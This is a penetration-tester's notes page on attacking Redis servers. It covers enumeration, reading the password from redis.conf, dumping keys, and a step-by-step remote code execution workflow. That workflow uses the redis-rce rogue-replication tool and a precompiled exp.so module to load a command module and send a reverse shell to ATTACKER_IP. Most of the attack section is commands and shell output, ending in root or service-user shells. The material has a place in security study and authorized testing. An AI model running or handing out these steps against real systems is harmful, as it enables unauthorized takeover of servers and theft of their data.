> For the complete documentation index, see [llms.txt](https://book.ice-wzl.xyz/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://book.ice-wzl.xyz/recon-enumeration/pentesting-redis.md).

# Pentesting Redis

## redis port 6379

* <https://book.hacktricks.xyz/pentesting/6379-pentesting-redis>
* Enumeration

```
nmap --script redis-info -sV -p 6379 <IP>
msf> use auxiliary/scanner/redis/redis_server
```

* Manual Enumeration
* Redis is a text based protocol, you can just send the command in a socket and the returned values will be readable. Also remember that Redis can run using ssl/tls (but this is very weird).
* In a regular Redis instance you can just connect using nc or you could also use redis-cli

```
nc -vn 10.10.10.10 6379
redis-cli -h 10.10.10.10 # sudo apt-get install redis-tools
```

* Run the `info` first, it will either dump the `redis` instance or say `-NOAUTH Authentication required.`
* Username / Password are stored in the `redis.conf` file by default

```
grep ^[^#] redis.conf
config set requirepass p@ss$12E45.
masteruser
```

* Get Connected

```
nc 10.10.63.208 6379
info
<server reply>
redis-cli -h 10.10.63.208
10.10.63.208:6379> info
NOAUTH Authentication required.
10.10.63.208:6379> AUTH B65Hx562.....
OK
```

If `NOAUTH Authentication required` appears and you recover `requirepass` from `/etc/redis/redis.conf`, authenticate with the password only:

```bash
redis-cli -u redis://'PASSWORD'@TARGET:6379
```

Do not include a username on older Redis instances that expect single-argument `AUTH`, or authentication may fail with:

```
AUTH failed: ERR wrong number of arguments for 'auth' command
```

* Authenticated Enumeration

```
Authenticated enumeration
If the Redis instance is accepting anonymous connections or you found some valid credentials, you can start enumerating the service with the following commands:
INFO
[ ... Redis response with info ... ]
client list
[ ... Redis response with connected clients ... ]
CONFIG GET *
[ ... Get config ... ]
```

* Dumping Database
* Inside Redis the databases are numbers starting from `0`. You can find if anyone is used in the output of the command info inside the "Keyspace" chunk:
* ![alt text](https://gblobscdn.gitbook.com/assets%2F-L_2uGJGU7AVNRcqRvEi%2F-MCwrx6EQpaXH4dsxZl3%2F-MCxgtV3m0F2z4KAOOsB%2Fimage.png?)

```
if value is of type string -> GET <key>
if value is of type hash -> HGETALL <key>
if value is of type lists -> lrange <key> <start> <end>
if value is of type sets -> smembers <key>
if value is of type sorted sets -> ZRANGEBYSCORE <key> <min> <max>
```

* Use the TYPE command to check the type of value a key is mapping to:

```
type <key>
```

* redis RCE
* <https://github.com/Ridter/redis-rce>

## Unauthenticated Redis RCE

Redis exposed without authentication can be abused with the `redis-rce` rogue replication flow to load a command-execution module. This worked against observed Redis `4.0.14` and `5.0.9` instances.

### Detection

```
6379/tcp open  redis  Redis key-value store 5.0.9
6379/tcp open  redis  Redis key-value store 4.0.14
redis-unauthorized HIGH TARGET:6379
```

### Confirm No Auth

```bash
redis-cli -h TARGET
info
client list
CONFIG GET *
INFO keyspace
CONFIG GET databases
SCAN 0
KEYS *
```

Observed useful output:

```
redis_version:5.0.9
os:Linux 4.9.0-19-amd64 x86_64

redis_version:4.0.14
os:Linux 5.8.0-63-generic x86_64
role:master
bind address: 0.0.0.0
requirepass: ""
databases: 16
```

`INFO keyspace`, `SCAN 0`, and `KEYS *` may show no stored keys while the instance is still exploitable.

### Load Module With redis-rce

Get the tooling and module:

```bash
git clone https://github.com/Ridter/redis-rce.git
git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand.git
```

If building the module fails, the working notes used the precompiled `exp.so` from:

```
https://github.com/n0b0dyCN/redis-rogue-server/blob/master/exp.so
```

Run the rogue replication exploit first. The `-P` port is the rogue server port used by the exploit, not necessarily the reverse shell port.

```bash
python3 redis-rce.py -r TARGET -p 6379 -L ATTACKER_IP -P 8080 -v -f ../exp.so
```

Wait for the interactive prompt before starting the reverse shell listener:

```
[+] What do u want ? [i]nteractive shell or [r]everse shell or [e]xit:
```

Then start the listener in another terminal:

```bash
nc -nlvp 8080
```

Back in `redis-rce.py`, choose reverse shell and send it to the listener port:

```
[+] What do u want ? [i]nteractive shell or [r]everse shell or [e]xit: r
[*] Reverse server address: ATTACKER_IP
[*] Reverse server port: 8080
```

Successful module load indicators:

```
MODULE LOAD ./exp.so
+OK
SLAVEOF NO ONE
+OK
system.rev ATTACKER_IP 8080
```

Successful shell:

```
connect to [ATTACKER_IP] from (UNKNOWN) [TARGET] PORT
id
uid=0(root) gid=0(root) groups=0(root)
```

On some targets the shell may land as the Redis service user instead of root:

```
id
uid=1001(prudence) gid=1001(prudence) groups=1001(prudence)
```

### Authenticated Redis RCE

If Redis requires auth but you recovered `requirepass`, pass it to `redis-rce.py` with `-a`:

```bash
python3 redis-rce.py -r TARGET -p 6379 -L ATTACKER_IP -P 80 -v -a 'PASSWORD' -f ./exp.so
```

Choose reverse shell when prompted and catch the callback:

```
[+] What do u want ? [i]nteractive shell or [r]everse shell or [e]xit: r
[*] Reverse server address: ATTACKER_IP
[*] Reverse server port: 80
```

```bash
nc -nlvp 80
id
```

Successful shell context may be the Redis service user:

```
uid=107(redis) gid=114(redis) groups=114(redis)
```
